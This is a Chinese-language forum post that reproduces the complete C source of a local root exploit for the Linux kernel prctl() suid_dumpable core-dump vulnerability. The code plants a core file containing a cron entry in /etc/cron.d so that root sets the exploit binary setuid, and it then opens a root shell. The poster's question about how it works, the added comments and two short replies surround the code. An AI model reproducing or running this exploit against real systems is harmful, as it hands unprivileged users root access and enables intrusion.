- 论坛徽章:
- 0
|
一个攻击程序
//Linux Kernel的prctl()调用在处理Core Dump时存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。
//prctl()调用允许未授权进程设置PR_SET_DUMPABLE=2，因此当发生段错误时，产生的core文件将被root用户拥有。
//本地用户可以创建恶意程序，将core文件dump到正常情况下无权写入的目录中。
//这可能导致拒绝服务（磁盘耗尽）或获得root权限。
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#define CROND "/etc/cron.d"
#define BUFSIZE 2048
struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
char cronstring[BUFSIZE];
char fname[BUFSIZE];
struct timeval te;
void sh(int sn) {
execl(fname, fname, (char *) NULL);
}
int main(void) {
int nw, pid;
if (geteuid() == 0) {
printf("[+] getting root shell\n");
setuid(0);
setgid(0);
if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
perror("[-] execle");
return 1;
}
}/*获得一个有root权限的shell*/
printf("\nprctl() suidsafe exploit\n");
/* get our file name */
// 读取文件名，/proc/self/exe 表示当前可执行文件，（即你编译出来的 exp ）
// 这里读出来的 fname 下面将会用到的
if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
perror("[-] readlink");
printf("This is not fatal, rewrite the exploit\n");
}
if (signal(SIGUSR1, sh) == SIG_ERR) {
perror("[-] signal");
return 1;
}
printf("[+] Installed signal handler\n");
/* Let us create core files */
setrlimit(RLIMIT_CORE, &myrlimit);
// 更改生成core文件的 /etc/cron.d 目录，这个目录是参生core文件的目录
if (chdir(CROND) == -1) {
perror("[-] chdir");
return 1;
}
if (prctl(PR_SET_DUMPABLE, 2) == -1) {
perror("[-] prtctl");
printf("Is you kernel version >= 2.6.13 ?\n");
return 1;
}
printf("[+] We are suidsafe dumpable!\n");
nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
if (nw >= sizeof(cronstring)) {
printf("[-] cronstring is too small\n");
return 1;
}
printf("[+] Malicious string forged\n");
// 创建子进程，把子进程号赋值给 pid
if ((pid=fork()) == -1) {
perror("[-] fork");
return 1;
}
if (pid == 0) {
/* This is not the good way to do it ;) */
sleep(120);
exit(0);
}
/* SEGFAULT the child */
printf("[+] Segfaulting child\n");
if (kill(pid, 11) == -1) {/* 像一个并不存在的进程发送信号，返回-1*/
perror("[-] kill");
return 1;
}
if (gettimeofday(&te, NULL) == 0)
printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
sleep(120);
printf("[-] It looks like the exploit failed\n");
return 1;
}
哪个高手能告诉我，这个程序是怎样获得root权限的？ |
|
免费注册
发表于 2008-05-31 18:45
发表于 2008-05-31 19:34
牛X
